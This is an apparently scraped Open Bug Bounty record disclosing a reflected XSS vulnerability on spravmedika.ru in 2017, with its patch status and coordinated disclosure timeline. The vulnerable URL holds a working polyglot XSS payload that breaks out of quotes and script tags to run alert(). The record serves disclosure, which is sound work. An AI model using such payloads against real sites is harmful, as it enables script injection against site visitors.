Lucene search

K
openbugbountyOmniGoochOBB:236586
HistoryMay 13, 2017 - 11:21 p.m.

spravmedika.ru XSS vulnerability

2017-05-1323:21:00
OmniGooch
www.openbugbounty.org
17
Vulnerable URL:
http://spravmedika.ru/search?type=0&search;=%27;alert(/XSSPOSED/)//%27;alert(/XSSPOSED/)//%22;alert(/XSSPOSED/)//%22;alert(/XSSPOSED/)//--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert(/XSSPOSED/)%3C/sCRipT%3E
Details:
Description Value
Patched: Yes, at 25.11.2017
Latest check for patch: 25.11.2017 20:43 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1008349
VIP website status: No
Check spravmedika.ru SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 13 May, 2017 23:21 GMT
Generic security notifications sent to website owner 13 May, 2017 23:24 GMT
Vulnerability details disclosed by researcher 21 May, 2017 00:14 GMT
Vulnerability patched by the website owner 25 November, 2017 20:43 GMT